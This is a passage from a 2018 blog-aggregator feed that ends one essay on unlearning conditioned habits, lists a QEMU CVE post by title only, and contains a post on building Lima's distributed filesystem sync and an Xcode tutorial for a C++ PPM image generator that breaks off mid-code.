&lt;p&gt;&lt;img alt="blueprint" src="http://mitko.github.io/assets/image/20180107_unlearning/blueprint.png" width="100%" /&gt;&lt;/p&gt;

&lt;p&gt;We start enforcing the creases one at a time. To develop a principle
or value, it’s like temporary unfolding the whole paper, and then
creating the fold in it at the right time, then putting it back into
the shape that it was. Except that we can’t afford to unfold the
paper, and need to start applying the crease from the side, and
propagate it locally. Over time, as we start adjusting our actions
towards the new principle, we’re slightly altering, or disrupting
activities and skills which depended on the previous, wrong
setup. Even though it’s uncomfortable, we are getting closer to the
right shape.&lt;/p&gt;

&lt;p&gt;The discomfort comes from our conditioning. We spend our lives in
&lt;a href="https://en.wikipedia.org/wiki/Operant_conditioning_chamber"&gt;Skinner boxes&lt;/a&gt;
conditioning us to chase after American dream, money, social status,
likes on social media, sugar in our food, the enjoyment of watching
fun shows, pictures of cats and dogs. Alcohol addiction, cigarettes
addiction, drugs addiction, porn addiction, even exercise addiction.
And to run away from things based on fear from cancer, fear from
“other” people, fear from people who have different cultures, or
beliefs, or political party. Fear of rejection.&lt;/p&gt;

&lt;p&gt;&lt;img alt="skinner" src="http://mitko.github.io/assets/image/20180107_unlearning/skinner.png" width="100%" /&gt;&lt;/p&gt;

&lt;p&gt;Fears and rewards, fears and rewards, they shape our brains into messy
paper balls, full of prejudices and bad habits. Like stupid rats, we
are conditioned to respond to certain foods, messages, and sounds, and
build maze-running habits.&lt;/p&gt;

&lt;p&gt;They leave precious little space for appreciation and love.&lt;/p&gt;

&lt;p&gt;Our way out is to bring out the pitbull and chase and chase the rats
in our brains until they run far away and evolve. We need the strong
conviction of the pitbull, and the humility of the rats.&lt;/p&gt;</description><author>D13V</author><pubDate>Sun, 07 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2018/01/07/how-to-unlearn</guid></item><item><title>Crashing QEMU VGA Drivers - The Story of my First CVE</title><link>https://www.da.vidbuchanan.co.uk/blog/crashing-qemu.html</link><author>David Buchanan's Blog</author><pubDate>Sun, 07 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.da.vidbuchanan.co.uk/blog/crashing-qemu.html</guid></item><item><title>Four years at Lima</title><link>https://blog.separateconcerns.com/2018-01-06-four-years.html</link><description>&lt;p&gt;Today marks the fourth birthday of &lt;a href="https://blog.separateconcerns.com/2013-12-12-infinity-beyond.html"&gt;my joining Lima&lt;/a&gt;, and it is a good occasion to talk a bit about some of the things I have been doing there.&lt;/p&gt;
&lt;section id="Distributed-filesystem-synchronization"&gt;
&lt;h2&gt;Distributed filesystem synchronization&lt;/h2&gt;
&lt;p&gt;For the public, Lima makes a device which turns a USB hard drive into personal “cloud” data storage. We actually shipped two devices, Lima Original in July 2015 and Lima Ultra in Decemner 2016.&lt;/p&gt;
&lt;p&gt;Technically, Lima is really a personal distributed filesystem. Every single machine running a Lima application logged into to the same user account is a node in the system. All nodes keep a copy of all the filesystem metadata, which means the user can always browse the whole file tree, create or remove files, move them around, etc. The actual data, however, may or may not be on the device, which makes it possible to access a multi-terabyte filesystem on a mobile device. In theory, the Lima device is just another node in the system, except it always stores all the data.&lt;/p&gt;
&lt;p&gt;To make this all work, we need a mechanism to keep the filesystem metadata synchronized on all nodes. I have designed and implemented the algorithm and protocol behind this. It is tricky, because we always want users to be able to write to their filesystem, even on an offline device, so when devices come back online there may be conflicts to resolve. It is sometimes tempting to do something simple and correct, but which would not result in what the end user would expect. Yes, &lt;a href="http://bravenewgeek.com/distributed-systems-are-a-ux-problem/"&gt;distributed systems are a UX problem&lt;/a&gt;…&lt;/p&gt;
&lt;p&gt;I can’t get into too much detail here, this being proprietary technology and all, but I have drawn a lot of inspiration from &lt;a href="https://en.wikipedia.org/wiki/Conflict-free_replicated_data_type"&gt;CRDTs&lt;/a&gt; as well as older systems like Bayou and WinFS.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Minicore:-fitting-into-a-tiny-box"&gt;
&lt;h2&gt;Minicore: fitting into a tiny box&lt;/h2&gt;
&lt;p&gt;Like I said, in theory, the Lima device just runs a slightly modified Lima application. And in theory, theory and practice are the same thing. But in practice…&lt;/p&gt;
&lt;p&gt;The Lima Original hardware was very limited, with a slow exotic CPU, 32 MB of RAM and 8 MB of Flash. At some point we realized that we would never succeed in running our software on it with reasonably good performance, so shortly before shipping we decided we had to do something radical: write entirely different software for it. We called that software “minicore”, and I wrote its first version in a 6-week rush.&lt;/p&gt;
&lt;p&gt;Unlike the Lima filesystem, minicore is designed to be very conservative about its use of memory and I/O resources. It uses a different data model and synchronization protocol, which relies on client machines running Lima to do the heavy lifting. It prioritizes what Lima devices have to do best, which is downloading or serving file data.&lt;/p&gt;
&lt;p&gt;The trade-off here was a huge increase in the complexity of the system. Minicore itself is not that complex, but we had to introduce a separate protocol between client nodes and Lima devices, and a third protocol to deal with replication between Lima devices (if you add several Lima devices to the same account they mirror one another).&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Other-things"&gt;
&lt;h2&gt;Other things&lt;/h2&gt;
&lt;p&gt;I won’t get into too much detail about all the other things I have written or worked on over the last four years, but important ones include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
our build system, which builds our software and its dependencies on five different OSs and three major architectures ;
&lt;/li&gt;
&lt;li&gt;
an integration test suite designed among other things to replicate timing-related edge cases for the synchronization protocol ;
&lt;/li&gt;
&lt;li&gt;
our “identity server” which lets users log into their account with just an email and a password ;
&lt;/li&gt;
&lt;li&gt;
our Lua scripting layer, which I didn’t implement initially but maintain now, and on which we rely more and more.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="What's-next"&gt;
&lt;h2&gt;What’s next&lt;/h2&gt;
&lt;p&gt;Lately, my role has changed as I have become responsible for software architecture for the whole company. I now work more closely with the developers outside of my team (Core Engineering), who implement the user-facing parts of our stack. I also do some hiring - and by the way, if you are interested, get in touch. :)&lt;/p&gt;
&lt;p&gt;All in all, it was four interesting years. Things have not always been easy to say the least, but a relaxing job is not what I expect from a startup anyway. We have some really great people on the team, challenging plans for the future, and we learn a lot, so here’s to the next years of Lima!&lt;/p&gt;
&lt;/section&gt;</description><author>Separate Concerns</author><pubDate>Sat, 06 Jan 2018 16:10:00 GMT</pubDate><guid isPermaLink="true">https://blog.separateconcerns.com/2018-01-06-four-years.html</guid></item><item><title>Building command line tool without leaving Xcode</title><link>https://whackylabs.com/macos/xcode/rant/2018/01/06/macos-command-line-app/</link><description>&lt;h2 id="why-xcode"&gt;Why Xcode?&lt;/h2&gt;

&lt;p&gt;I know a lot of people don’t like Xcode, or as it seems from my twitter feed. But I think Xcode is probably the best IDE out there for macOS. I’ve used it for probably 10 years now, and it has evolved pretty amazingly over time. As a matter of fact, this article is also being written with Xcode 9, since it has such a good markdown support now.&lt;/p&gt;

&lt;p&gt;Although everyone has their personal good things about Xcode, my top 5 are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Code autocompletion which works pretty flawlessly.&lt;/li&gt;
  &lt;li&gt;Jumping to function definition&lt;/li&gt;
  &lt;li&gt;Quick switching between header and implementation.&lt;/li&gt;
  &lt;li&gt;Clean interface&lt;/li&gt;
  &lt;li&gt;Integration with git&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;What a lot of people don’t realize is that Xcode is also a pretty awesome editor if you wish to make a command line executable with languages it supports, like C, C++, Objective-C, Swift and many more. The ugly part is the Xcode build system which takes a while to twist around to your preferred setting.&lt;/p&gt;

&lt;h2 id="lets-make-command-line-app-with-xcode"&gt;Lets make command line app with Xcode&lt;/h2&gt;

&lt;p&gt;I’ll walkthrough on how to set up Xcode to generate a command line tool with C++ without getting too distracted.&lt;/p&gt;

&lt;h3 id="create-a-new-project"&gt;Create a new project&lt;/h3&gt;

&lt;p&gt;&lt;img alt="create new project" src="https://i.imgur.com/31EghVr.png" /&gt;&lt;/p&gt;

&lt;h3 id="set-project-settings"&gt;Set project settings&lt;/h3&gt;

&lt;p&gt;Let’s make a random texture generator.
&lt;img alt="name project" src="https://i.imgur.com/V0LZTs5.png" /&gt;&lt;/p&gt;

&lt;h3 id="build-and-run"&gt;Build and run&lt;/h3&gt;

&lt;p&gt;If all goes well you should see following in your console.&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Hello, World!
Program ended with exit code: 0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id="write-some-code"&gt;Write some code&lt;/h3&gt;

&lt;p&gt;Let’s write some code to draw a ppm image.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;generateImage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;nx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;ny&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"P3"&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;nx&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;" "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;ny&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"255"&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;ny&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;nx&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;float&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="kt"&gt;float&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;float&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="kt"&gt;float&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ny&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;rr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ceil&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;255.0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
            &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;gg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ceil&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;255.0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
            &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;bb&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ceil&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;255.0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
            &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;rr&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;" "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;gg&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;" "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;bb&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;nx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ny&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;generateImage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ny&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id="generate-image"&gt;Generate image&lt;/h3&gt;

&lt;p&gt;Okay so the code compiles and runs fine, but where is the output? If we were to use direct command line, you could compile your code and usually the compiler would generate a &lt;code class="language-plaintext highlighter-rouge"&gt;a.out&lt;/code&gt; in your default directory. Xcode does similar, but instead of &lt;code class="language-plaintext highlighter-rouge"&gt;a.out&lt;/code&gt; it generates the &lt;code class="language-plaintext highlighter-rouge"&gt;&amp;lt;ProjectName&amp;gt;&lt;/code&gt;, in our case &lt;code class="language-plaintext highlighter-rouge"&gt;ImageGenerator&lt;/code&gt; somewhere in the build directory which is hidden far away from the source code directory.&lt;/p&gt;

&lt;p&gt;One way to find the default build directory is to look in the Xcode preferences.
&lt;img alt="Xcode location" src="https://i.imgur.com/bJoorv4.png" /&gt;&lt;/p&gt;

&lt;p&gt;For my machine, the &lt;code class="language-plaintext highlighter-rouge"&gt;ImageGenerator&lt;/code&gt; is located in&lt;/p&gt;
&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;/Users/sidharth/Library/Developer/Xcode/DerivedData/ImageGenerator-aaslasxqipptbbfaxzgbtanvywyt/Build/Products/Debug
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you open terminal, and switch to that directory, you can finally generate the output image with&lt;/p&gt;
&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;./ImageGenerator &amp;gt; ~/Desktop/out.ppm
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next, if you open the &lt;code class="language-plaintext highlighter-rouge"&gt;~/Desktop/out.ppm&lt;/code&gt; with &lt;em&gt;Preview.app&lt;/em&gt;, you can finally see your masterpiece.&lt;/p&gt;

&lt;p&gt;&lt;img alt="first output" src="https://i.imgur.com/qQQfH4Y.png" /&gt;&lt;/p&gt;

&lt;h3 id="automate-process"&gt;Automate process&lt;/h3&gt;

&lt;p&gt;As you can already feel, this system is very tiresome. For every change you make in your code, you need to take following steps to see the output:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Build and run&lt;/li&gt;
  &lt;li&gt;Switch to Terminal&lt;/li&gt;
  &lt;li&gt;Go to the build directory (as it is not guaranteed to be the same every build).&lt;/li&gt;
  &lt;li&gt;Execute the build&lt;/li&gt;
  &lt;li&gt;Switch to Preview.app, assuming the output path is always the same &lt;code class="language-plaintext highlighter-rouge"&gt;~/Desktop/out.ppm&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One of the first steps we can take is to write a shell script that does the steps above for you. And this is the job for a Xcode Build phase.&lt;/p&gt;

&lt;p&gt;Next, add a &lt;code class="language-plaintext highlighter-rouge"&gt;Run Script phase&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img alt="run script" src="https://i.imgur.com/2uPOkV7.png" /&gt;&lt;/p&gt;

&lt;p&gt;And add to the script&lt;/p&gt;

&lt;div class="language-bash highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="c"&gt;### copy output&lt;/span&gt;
&lt;span class="nb"&gt;cp&lt;/span&gt; &lt;span class="nv"&gt;$BUILD_DIR&lt;/span&gt;/Debug/ImageGenerator &lt;span class="nv"&gt;$SRCROOT&lt;/span&gt;/ImageGenerator.out
&lt;span class="c"&gt;### generate image&lt;/span&gt;
&lt;span class="nv"&gt;$SRCROOT&lt;/span&gt;/ImageGenerator.out &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; ~/Desktop/out.ppm
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next when we update of &lt;code class="language-plaintext highlighter-rouge"&gt;generateImage()&lt;/code&gt; function to&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;generateImage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;nx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;ny&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"P3"&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;nx&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;" "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;ny&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"255"&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;ny&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;nx&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;float&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="kt"&gt;float&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;float&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="kt"&gt;float&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ny&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;rr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ceil&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;255.0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
            &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;gg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ceil&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;255.0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
